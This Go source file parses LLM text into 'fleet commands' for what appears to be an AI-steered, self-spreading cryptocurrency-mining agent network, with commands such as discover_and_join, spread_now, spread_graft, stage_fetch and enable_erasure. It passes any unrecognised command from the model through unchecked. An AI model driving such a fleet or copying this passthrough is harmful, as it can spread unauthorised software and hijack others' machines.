Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.
182 lines
4.5 KiB
Go
182 lines
4.5 KiB
Go
package ai
|
|
|
|
import (
|
|
"encoding/json"
|
|
"fmt"
|
|
"regexp"
|
|
"strings"
|
|
)
|
|
|
|
const (
|
|
CmdBulkCommand = "bulk_command"
|
|
CmdAgentCommand = "agent_command"
|
|
CmdDiscoverAndJoin = "discover_and_join"
|
|
CmdRestartMining = "restart_mining"
|
|
CmdReorderTiers = "reorder_tiers"
|
|
CmdSpreadNow = "spread_now"
|
|
CmdSpreadRetryLane = "spread_retry_lane"
|
|
CmdSkipTier = "skip_tier"
|
|
CmdStageFetch = "stage_fetch"
|
|
CmdSetAgentVersion = "set_agent_version"
|
|
CmdSpreadGraft = "spread_graft"
|
|
CmdPersonaTweak = "persona_tweak"
|
|
CmdEnableErasure = "enable_erasure"
|
|
CmdStrainHospice = "strain_hospice"
|
|
CmdNoop = "noop"
|
|
)
|
|
|
|
var knownCommands = map[string]bool{
|
|
CmdBulkCommand: true,
|
|
CmdAgentCommand: true,
|
|
CmdDiscoverAndJoin: true,
|
|
CmdRestartMining: true,
|
|
CmdReorderTiers: true,
|
|
CmdSpreadNow: true,
|
|
CmdSpreadRetryLane: true,
|
|
CmdSkipTier: true,
|
|
CmdStageFetch: true,
|
|
CmdSetAgentVersion: true,
|
|
CmdSpreadGraft: true,
|
|
CmdPersonaTweak: true,
|
|
CmdEnableErasure: true,
|
|
CmdStrainHospice: true,
|
|
CmdNoop: true,
|
|
}
|
|
|
|
var jsonBlockRe = regexp.MustCompile(`(?s)\{[\s\n]*"commands"\s*:\s*\[[\s\S]*?\]\s*\}`)
|
|
|
|
// ParseCommands extracts fleet commands from LLM text (JSON block, tool-call, or COMMAND: lines).
|
|
func ParseCommands(raw string) []Command {
|
|
raw = strings.TrimSpace(raw)
|
|
if raw == "" {
|
|
return nil
|
|
}
|
|
if cmds := parseCommandsJSON(raw); len(cmds) > 0 {
|
|
return cmds
|
|
}
|
|
if block := jsonBlockRe.FindString(raw); block != "" && block != raw {
|
|
if cmds := parseCommandsJSON(block); len(cmds) > 0 {
|
|
return cmds
|
|
}
|
|
}
|
|
if cmd := parseToolCall(raw); cmd != nil {
|
|
return []Command{*cmd}
|
|
}
|
|
return parseCommandLines(raw)
|
|
}
|
|
|
|
func parseCommandsJSON(raw string) []Command {
|
|
var envelope struct {
|
|
Commands []Command `json:"commands"`
|
|
}
|
|
if err := json.Unmarshal([]byte(raw), &envelope); err == nil && len(envelope.Commands) > 0 {
|
|
return normalizeCommands(envelope.Commands)
|
|
}
|
|
// Bare array
|
|
var arr []Command
|
|
if err := json.Unmarshal([]byte(raw), &arr); err == nil && len(arr) > 0 {
|
|
return normalizeCommands(arr)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func parseToolCall(raw string) *Command {
|
|
var tool struct {
|
|
Tool string `json:"tool"`
|
|
Args map[string]interface{} `json:"args"`
|
|
Type string `json:"type"`
|
|
}
|
|
start := strings.Index(raw, "{")
|
|
end := strings.LastIndex(raw, "}")
|
|
if start < 0 || end <= start {
|
|
return nil
|
|
}
|
|
if err := json.Unmarshal([]byte(raw[start:end+1]), &tool); err != nil {
|
|
return nil
|
|
}
|
|
name := strings.TrimSpace(tool.Tool)
|
|
if name == "" {
|
|
name = strings.TrimSpace(tool.Type)
|
|
}
|
|
if name == "" {
|
|
return nil
|
|
}
|
|
name = normalizeCommandType(name)
|
|
if !knownCommands[name] && name != "restart_agent" {
|
|
return &Command{Type: CmdAgentCommand, Args: map[string]interface{}{"action": name, "args": tool.Args}}
|
|
}
|
|
if name == "restart_agent" {
|
|
name = CmdRestartMining
|
|
}
|
|
return &Command{Type: name, Args: tool.Args}
|
|
}
|
|
|
|
func parseCommandLines(raw string) []Command {
|
|
var out []Command
|
|
for _, line := range strings.Split(raw, "\n") {
|
|
line = strings.TrimSpace(line)
|
|
if !strings.HasPrefix(strings.ToUpper(line), "COMMAND:") {
|
|
continue
|
|
}
|
|
rest := strings.TrimSpace(line[len("COMMAND:"):])
|
|
if rest == "" {
|
|
continue
|
|
}
|
|
parts := strings.Fields(rest)
|
|
cmdType := normalizeCommandType(parts[0])
|
|
args := map[string]interface{}{}
|
|
for _, p := range parts[1:] {
|
|
kv := strings.SplitN(p, "=", 2)
|
|
if len(kv) == 2 {
|
|
args[kv[0]] = kv[1]
|
|
}
|
|
}
|
|
out = append(out, Command{Type: cmdType, Args: args})
|
|
}
|
|
return normalizeCommands(out)
|
|
}
|
|
|
|
func normalizeCommands(cmds []Command) []Command {
|
|
out := make([]Command, 0, len(cmds))
|
|
for _, c := range cmds {
|
|
typ := normalizeCommandType(c.Type)
|
|
if typ == "" {
|
|
continue
|
|
}
|
|
if typ == "restart_agent" {
|
|
typ = CmdRestartMining
|
|
}
|
|
args := c.Args
|
|
if args == nil {
|
|
args = map[string]interface{}{}
|
|
}
|
|
out = append(out, Command{Type: typ, Args: args})
|
|
}
|
|
return out
|
|
}
|
|
|
|
func normalizeCommandType(s string) string {
|
|
s = strings.TrimSpace(strings.ToLower(s))
|
|
s = strings.ReplaceAll(s, "-", "_")
|
|
if s == "restart" {
|
|
return CmdRestartMining
|
|
}
|
|
if knownCommands[s] {
|
|
return s
|
|
}
|
|
return s
|
|
}
|
|
|
|
// FormatExecuted summarizes commands for audit log storage.
|
|
func FormatExecuted(cmds []Command, results []string) string {
|
|
parts := make([]string, 0, len(cmds))
|
|
for i, c := range cmds {
|
|
msg := c.Type
|
|
if i < len(results) && results[i] != "" {
|
|
msg = fmt.Sprintf("%s:%s", c.Type, results[i])
|
|
}
|
|
parts = append(parts, msg)
|
|
}
|
|
return strings.Join(parts, "; ")
|
|
}
|